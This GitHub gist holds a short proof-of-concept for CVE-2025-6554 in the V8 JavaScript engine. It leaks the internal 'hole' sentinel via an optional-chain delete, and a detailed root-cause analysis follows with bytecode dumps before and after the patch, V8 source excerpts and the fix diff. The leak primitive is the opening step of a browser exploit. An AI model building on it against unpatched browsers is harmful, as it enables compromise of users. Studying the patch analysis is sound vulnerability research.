Skip to content

Instantly share code, notes, and snippets.

@mistymntncop
Last active July 17, 2025 06:52
Show Gist options
  • Save mistymntncop/37c652c2bf7373b4aa33bb50f52ee0f2 to your computer and use it in GitHub Desktop.
Save mistymntncop/37c652c2bf7373b4aa33bb50f52ee0f2 to your computer and use it in GitHub Desktop.
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
/*
POC BY DARKNAVY!!!
https://github.com/DarkNavySecurity/PoC/blob/main/CVE-2025-6554/poc.js
c:\path\to\v8\out\x64.debug\d8 --allow-natives-syntax --print-bytecode poc.js
BEFORE PATCH:
[generated bytecode for function: leak_hole (0x03e400063e35 <SharedFunctionInfo leak_hole>)]
Bytecode length: 29
Parameter count 1
Register count 3
Frame size 24
0x32600100128 @ 0 : 10 LdaTheHole
0x32600100129 @ 1 : cf Star1
0x3260010012a @ 2 : 0e LdaUndefined
0x3260010012b @ 3 : d0 Star0
0x3260010012c @ 4 : 1b f9 f7 Mov r0, r2
0x3260010012f @ 7 : aa 12 JumpIfUndefinedOrNull [18] (0x32600100141 @ 25)
0x32600100131 @ 9 : 0b f8 Ldar r1
0x32600100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
0x32600100135 @ 13 : 35 f7 00 GetKeyedProperty r2, [0]
0x32600100138 @ 16 : aa 09 JumpIfUndefinedOrNull [9] (0x32600100141 @ 25)
0x3260010013a @ 18 : ce Star2
0x3260010013b @ 19 : 13 01 LdaConstant [1]
0x3260010013d @ 21 : 60 f7 DeletePropertySloppy r2
0x3260010013f @ 23 : 95 03 Jump [3] (0x32600100142 @ 26)
0x32600100141 @ 25 : 11 LdaTrue
0x32600100142 @ 26 : 0b f8 Ldar r1
0x32600100144 @ 28 : b5 Return
Constant pool (size = 2)
0x14e001000f1: [TrustedFixedArray]
- map: 0x026900000605 <Map(TRUSTED_FIXED_ARRAY_TYPE)>
- length: 2
0: 0x026900003609 <String[1]: #y>
1: 0x026900003489 <String[1]: #a>
AFTER PATCH:
[generated bytecode for function: leak_hole (0x033900063e35 <SharedFunctionInfo leak_hole>)]
Bytecode length: 31
Parameter count 1
Register count 3
Frame size 24
0x29f00100128 @ 0 : 10 LdaTheHole
0x29f00100129 @ 1 : cf Star1
32 S> 0x29f0010012a @ 2 : 0e LdaUndefined
0x29f0010012b @ 3 : d0 Star0
40 S> 0x29f0010012c @ 4 : 1b f9 f7 Mov r0, r2
0x29f0010012f @ 7 : aa 12 JumpIfUndefinedOrNull [18] (0x29f00100141 @ 25)
0x29f00100131 @ 9 : 0b f8 Ldar r1
51 E> 0x29f00100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
50 E> 0x29f00100135 @ 13 : 35 f7 00 GetKeyedProperty r2, [0]
0x29f00100138 @ 16 : aa 09 JumpIfUndefinedOrNull [9] (0x29f00100141 @ 25)
0x29f0010013a @ 18 : ce Star2
0x29f0010013b @ 19 : 13 01 LdaConstant [1]
0x29f0010013d @ 21 : 60 f7 DeletePropertySloppy r2
0x29f0010013f @ 23 : 95 03 Jump [3] (0x29f00100142 @ 26)
0x29f00100141 @ 25 : 11 LdaTrue
63 S> 0x29f00100142 @ 26 : 0b f8 Ldar r1
0x29f00100144 @ 28 : b6 00 ThrowReferenceErrorIfHole [0]
72 S> 0x29f00100146 @ 30 : b5 Return
Constant pool (size = 2)
0x14e001000f1: [TrustedFixedArray]
- map: 0x026900000605 <Map(TRUSTED_FIXED_ARRAY_TYPE)>
- length: 2
0: 0x026900003609 <String[1]: #y>
1: 0x026900003489 <String[1]: #a>
Comparing the bytecode for the "leak_hole" function we see that after the patch an extra "ThrowReferenceErrorIfHole"
instruction has been emitted for the return value (stored in accumulator register).
The BytecodeGenerator class contains a field called "hole_check_bitmap_" which is used to record which variables
have already been checked for the hole value.
```
// Variables for which hole checks have been emitted in the current basic
// block. Managed by HoleCheckElisionScope and HoleCheckElisionMergeScope.
Variable::HoleCheckBitmap hole_check_bitmap_;
```
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.h#L651
The "hole_check_bitmap_" field is used by the "RememberHoleCheckInCurrentBlock" and "VariableNeedsHoleCheckInCurrentBlock"
functions. These functions are used to record and check that a variable has been checked for the hole value.
```
void BytecodeGenerator::RememberHoleCheckInCurrentBlock(Variable* variable) {
if (!v8_flags.ignition_elide_redundant_tdz_checks) return;
// The first N-1 variables that need hole checks may be cached in a bitmap to
// elide subsequent hole checks in the same basic block, where N is
// Variable::kHoleCheckBitmapBits.
//
// This numbering is done during bytecode generation instead of scope analysis
// for 2 reasons:
//
// 1. There may be multiple eagerly compiled inner functions during a single
// run of scope analysis, so a global numbering will result in fewer variables
// with cacheable hole checks.
//
// 2. Compiler::CollectSourcePositions reparses functions and checks that the
// recompiled bytecode is identical. Therefore the numbering must be kept
// identical regardless of whether a function is eagerly compiled as part of
// an outer compilation or recompiled during source position collection. The
// simplest way to guarantee identical numbering is to scope it to the
// compilation instead of scope analysis.
variable->RememberHoleCheckInBitmap(hole_check_bitmap_,
vars_in_hole_check_bitmap_);
}
```
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L4660
```
bool BytecodeGenerator::VariableNeedsHoleCheckInCurrentBlock(
Variable* variable, HoleCheckMode hole_check_mode) {
return hole_check_mode == HoleCheckMode::kRequired &&
!variable->HasRememberedHoleCheck(hole_check_bitmap_);
}
```
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L4694
"RememberHoleCheckInCurrentBlock" is used by "BuildThrowIfHole" which emits the "ThrowReferenceErrorIfHole" instruction.
```
void BytecodeGenerator::BuildThrowIfHole(Variable* variable) {
if (variable->is_this()) {
DCHECK(variable->mode() == VariableMode::kConst);
builder()->ThrowSuperNotCalledIfHole();
} else {
builder()->ThrowReferenceErrorIfHole(variable->raw_name());
}
RememberHoleCheckInCurrentBlock(variable);
}
```
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L4684
The "HoleCheckElisionScope" allows you to restrict modifications/uses of the BytecodeGenerator's "hole_check_bitmap_" to a scope.
When a HoleCheckElisionScope is opened it saves the BytecodeGenerator's old "hole_check_bitmap_" state and when it is closed it
restores the old "hole_check_bitmap_" state. So calls to "RememberHoleCheckInCurrentBlock" and "VariableNeedsHoleCheckInCurrentBlock"
will be operating on a version of the "hole_check_bitmap_" state that exists within that scope and does not escape it.
```
// Scoped class to help elide hole checks within a conditionally executed basic
// block. Each conditionally executed basic block must have a scope to emit
// hole checks correctly.
//
// The duration of the scope must correspond to a basic block. Numbered
// Variables (see Variable::HoleCheckBitmap) are remembered in the bitmap when
// the first hole check is emitted. Subsequent hole checks are elided.
//
// On scope exit, the hole check state at construction time is restored.
class V8_NODISCARD BytecodeGenerator::HoleCheckElisionScope {
public:
explicit HoleCheckElisionScope(BytecodeGenerator* bytecode_generator)
: HoleCheckElisionScope(&bytecode_generator->hole_check_bitmap_) {}
~HoleCheckElisionScope() { *bitmap_ = prev_bitmap_value_; }
protected:
explicit HoleCheckElisionScope(Variable::HoleCheckBitmap* bitmap)
: bitmap_(bitmap), prev_bitmap_value_(*bitmap) {}
Variable::HoleCheckBitmap* bitmap_;
Variable::HoleCheckBitmap prev_bitmap_value_;
};
```
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L1115
The Patch moves the "HoleCheckElisionScope" into the "OptionalChainNullLabelScope" class. So now whenever a
"OptionalChainNullLabelScope" is opened a "HoleCheckElisionScope" will be opened too.
```
public:
explicit OptionalChainNullLabelScope(BytecodeGenerator* bytecode_generator)
: bytecode_generator_(bytecode_generator),
- labels_(bytecode_generator->zone()) {
+ labels_(bytecode_generator->zone()),
+ hole_check_scope_(bytecode_generator) {
prev_ = bytecode_generator_->optional_chaining_null_labels_;
bytecode_generator_->optional_chaining_null_labels_ = &labels_;
}
...
BytecodeGenerator* bytecode_generator_;
BytecodeLabels labels_;
BytecodeLabels* prev_;
+ // Use the same scope for the entire optional chain, as links earlier in the
+ // chain dominate later links, linearly.
+ HoleCheckElisionScope hole_check_scope_;
};
...
void BytecodeGenerator::BuildOptionalChain(ExpressionFunc expression_func) {
BytecodeLabel done;
OptionalChainNullLabelScope label_scope(this);
- // Use the same scope for the entire optional chain, as links earlier in the
- // chain dominate later links, linearly.
- HoleCheckElisionScope elider(this);
expression_func();
builder()->Jump(&done);
label_scope.labels()->Bind(builder());
```
This doesn't seem to affect the behaviour for "BuildOptionalChain" as it already has opened a "HoleCheckElisionScope".
But if we search for other uses of "OptionalChainNullLabelScope" we find it is also used in "VisitDelete".
Noticeably there is no use of "HoleCheckElisionScope" in "VisitDelete" so any calls to "RememberHoleCheckInCurrentBlock"
will modify the current version of the "hole_check_bitmap_" state. Meaning that any modifications to the "hole_check_bitmap_"
state will be visible outside of "VisitDelete".
```
void BytecodeGenerator::VisitDelete(UnaryOperation* unary) {
Expression* expr = unary->expression();
if (expr->IsProperty()) {
...
} else if (expr->IsOptionalChain()) {
Expression* expr_inner = expr->AsOptionalChain()->expression();
if (expr_inner->IsProperty()) {
Property* property = expr_inner->AsProperty();
DCHECK(!property->IsPrivateReference());
BytecodeLabel done;
OptionalChainNullLabelScope label_scope(this);
VisitForAccumulatorValue(property->obj());
if (property->is_optional_chain_link()) {
int right_range = AllocateBlockCoverageSlotIfEnabled(
property, SourceRangeKind::kRight);
builder()->JumpIfUndefinedOrNull(label_scope.labels()->New());
BuildIncrementBlockCoverageCounterIfEnabled(right_range);
}
Register object = register_allocator()->NewRegister();
builder()->StoreAccumulatorInRegister(object);
if (property->is_optional_chain_link()) {
VisitInHoleCheckElisionScopeForAccumulatorValue(property->key());
} else {
VisitForAccumulatorValue(property->key());
}
builder()->Delete(object, language_mode());
builder()->Jump(&done);
label_scope.labels()->Bind(builder());
builder()->LoadTrue();
builder()->Bind(&done);
} else {
VisitForEffect(expr);
builder()->LoadTrue();
}
} else if (expr->IsVariableProxy() &&
!expr->AsVariableProxy()->is_new_target()) {
...
} else {
...
}
}
```
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L7083
For the patched version if we place a breakpoint inside the "BytecodeGenerator::BuildThrowIfHole" function we can observe the
callstacks of where the "ThrowReferenceErrorIfHole" instruction is being emitted.
BytecodeGenerator::BuildThrowIfHole(Variable *)
BytecodeGenerator::BuildVariableLoad(Variable *, HoleCheckMode, TypeofMode)
BytecodeGenerator::VisitVariableProxy(VariableProxy *)
BytecodeGenerator::VisitNoStackOverflowCheck(AstNode *)
BytecodeGenerator::Visit(AstNode *)
BytecodeGenerator::VisitForAccumulatorValueImpl(Expression *, ValueResultScope *)
BytecodeGenerator::VisitForAccumulatorValueAsPropertyKey(Expression *)
BytecodeGenerator::VisitPropertyLoad(interpreter::Register, Property *)
BytecodeGenerator::VisitProperty(Property *)
BytecodeGenerator::VisitNoStackOverflowCheck(AstNode *)
BytecodeGenerator::Visit(AstNode *)
BytecodeGenerator::VisitForAccumulatorValueImpl(Expression *, ValueResultScope *)
BytecodeGenerator::VisitForAccumulatorValue(Expression *)
BytecodeGenerator::VisitDelete(UnaryOperation *)
BytecodeGenerator::VisitUnaryOperation(UnaryOperation *)
BytecodeGenerator::VisitNoStackOverflowCheck(AstNode *)
BytecodeGenerator::Visit(AstNode *)
BytecodeGenerator::VisitForEffect(Expression *)
BytecodeGenerator::VisitExpressionStatement(ExpressionStatement *)
BytecodeGenerator::VisitNoStackOverflowCheck(AstNode *)
BytecodeGenerator::Visit(AstNode *)
BytecodeGenerator::VisitStatements(ZoneList<Statement *> const *, int32)
BytecodeGenerator::GenerateBodyStatementsWithoutImplicitFinalReturn(int32)
BytecodeGenerator::GenerateBodyStatements(int32)
BytecodeGenerator::GenerateBytecodeBody(void)
BytecodeGenerator::GenerateBytecode(unsigned long long)
We see that the first call to "BuildThrowIfHole" is initiated by the "VisitDelete" function when it calls the first "VisitForAccumulatorValue".
This corresponds with the 1st "ThrowReferenceErrorIfHole" instruction in the patched "leak_hole".
BytecodeGenerator::BuildThrowIfHole(Variable *)
BytecodeGenerator::BuildVariableLoad(Variable *, HoleCheckMode, TypeofMode)
BytecodeGenerator::VisitVariableProxy(VariableProxy *)
BytecodeGenerator::VisitNoStackOverflowCheck(AstNode *)
BytecodeGenerator::Visit(AstNode *)
BytecodeGenerator::VisitForAccumulatorValueImpl(Expression *, interpreter::BytecodeGenerator::ValueResultScope *)
BytecodeGenerator::VisitForAccumulatorValue(Expression *)
BytecodeGenerator::VisitReturnStatement(ReturnStatement *)
BytecodeGenerator::VisitNoStackOverflowCheck(AstNode *)
BytecodeGenerator::Visit(AstNode *)
BytecodeGenerator::VisitStatements(ZoneList<Statement *> const *, int32)
BytecodeGenerator::GenerateBodyStatementsWithoutImplicitFinalReturn(int32)
BytecodeGenerator::GenerateBodyStatements(int32)
BytecodeGenerator::GenerateBytecodeBody(void)
BytecodeGenerator::GenerateBytecode(unsigned long long)
The second call to "BuildThrowIfHole" is initiated by the "VisitReturnStatement" function. This corresponds with the 2nd
"ThrowReferenceErrorIfHole" instruction in the patched "leak_hole". Looking at the "BuildVariableLoad" function we see
that it calls "VariableNeedsHoleCheckInCurrentBlock" to decide whether "BuildThrowIfHole" should be called.
```
void BytecodeGenerator::VisitReturnStatement(ReturnStatement* stmt) {
AllocateBlockCoverageSlotIfEnabled(stmt, SourceRangeKind::kContinuation);
builder()->SetStatementPosition(stmt);
VisitForAccumulatorValue(stmt->expression());
int return_position = stmt->end_position();
if (return_position == ReturnStatement::kFunctionLiteralReturnPosition) {
return_position = info()->literal()->return_position();
}
if (stmt->is_async_return()) {
execution_control()->AsyncReturnAccumulator(return_position);
} else {
execution_control()->ReturnAccumulator(return_position);
}
}
```
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L2346
```
void BytecodeGenerator::BuildVariableLoad(Variable* variable,
HoleCheckMode hole_check_mode,
TypeofMode typeof_mode) {
switch (variable->location()) {
case VariableLocation::LOCAL: {
Register source(builder()->Local(variable->index()));
// We need to load the variable into the accumulator, even when in a
// VisitForRegisterScope, in order to avoid register aliasing if
// subsequent expressions assign to the same variable.
builder()->LoadAccumulatorWithRegister(source);
if (VariableNeedsHoleCheckInCurrentBlock(variable, hole_check_mode)) {
BuildThrowIfHole(variable);
}
break;
}
...
```
https://github.com/v8/v8/blob/47c9ee633a84c0f9b990dee0b9f288e03cbcf495/src/interpreter/bytecode-generator.cc#L4483
In the unpatched version "VariableNeedsHoleCheckInCurrentBlock" will return false because the call to "RememberHoleCheckInCurrentBlock" during
"VisitDelete" has recorded that the variable "y" has already been hole checked. This prevents the 2nd "ThrowReferenceErrorIfHole" from being emmited.
0 LdaTheHole <-- load hole value into accumulator | initialize var 'y' with hole
1 Star1 <-- store accumulator into r1 _|
2 LdaUndefined <-- load undefined value into accumulator |
3 Star0 <-- store accumulator into r0 | initialize var 'x' with undefined
4 Mov r0, r2 <-- move r0 into r2 _|
7 JumpIfUndefinedOrNull [18] (0x29f00100141 @ 25) <-- if accumulator is undefined or null | guard var 'x' against being undefined/null.
then jump to 25 _| corresponds with optional chaining - x?.
9 Ldar r1 <-- load r1 into accumulator | guard var 'y' against being the hole.
11 ThrowReferenceErrorIfHole [0] <-- throw reference error if accumulator | throw a ReferenceError if it is.
equals hole value _|
13 GetKeyedProperty r2, [0] <-- get keyed property from object in r2 | access property 'y' from object 'x'.
using the accumulator value as key | corresponds with - x?.[y]
and store result into accumulator _|
16 JumpIfUndefinedOrNull [9] (0x29f00100141 @ 25) <-- if accumulator is undefined or null | guard value from previous property against being undefined/null.
then jump to 25 _| corresponds with optional chaining - x?.[y]?.
18 Star2 <-- store accumulator into r2 |
19 LdaConstant [1] <-- load string 'a' from constant pool slot 1 | delete property 'a' from object in - x?.[y]
into accumulator | corresponds with - delete x?.[y]?.a;
21 DeletePropertySloppy r2 <-- delete a property from object in r2 |
using accumulator value as key _|
23 Jump [3] (0x29f00100142 @ 26) <-- jump to 26 - everything fine
25 LdaTrue <-- load true into accumulator - failure
26 Ldar r1 <-- load r1 into accumulator | guard var 'y' against being the hole.
28 ThrowReferenceErrorIfHole [0] <-- throw reference error if accumulator | throw a ReferenceError if it is.
equals hole value _|
30 Return <-- return value in accumulator _| return 'y' value.
Because the variable 'x' is unitialized it's value will be set to undefined. The instruction "JumpIfUndefinedOrNull" @ 7
will jump to "LdaTrue" @ 25 skipping the first "ThrowReferenceErrorIfHole" @ 11. In the unpatched version the 2nd
"ThrowReferenceErrorIfHole" @ 28 instruction is ommited and the variable 'y' is returned. In this patch version this
instruction throws a ReferenceError which prevents us from capturing the hole sentinel value.
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment